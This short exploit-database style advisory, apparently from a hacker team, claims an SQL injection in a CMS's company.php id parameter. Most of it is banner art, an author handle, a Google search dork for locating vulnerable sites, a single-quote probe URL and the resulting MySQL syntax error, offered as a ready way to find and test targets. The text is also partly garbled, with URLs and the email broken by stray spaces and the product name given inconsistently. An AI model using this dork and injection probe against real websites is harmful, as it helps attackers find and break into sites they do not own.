Cnzz CMS SQLi (company. php)

######################################## ################################# 1 [+] E-Mail: B .Devils. B @gmail.com 1 #0 [+] Y!: Doctor.3v1l 0 ## 1 #0 ############################### ########### 0 #1 I'm 3v1l member from Black_Devils B0ys Team 1 #0 ########### ################################ 0 ## 1 1 #0101010101010101010101010101010101010101010101010 ######################################## ################################### title: shop CMS company. php SQL Injection # Author: Hossein Hezami (Dr.3v1l) # program address: www. cnzz. c Om # Google Keywords: inurl: "/en/company. php? Id = "# Tested on: Windows, linux ####################################### #################################### [~] Exploit: # [TARGET]/en/company. php? Id = 2 '#################################### #######################################[ ~] Demo: # http: // <server>/en/company. php? Id = 2' # SQLi Error: # You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''limit 1' at line 1 ############### ######################################## #################### [~] Note: # This Is A Simple SQL Injection # Found by Dr.3v1l #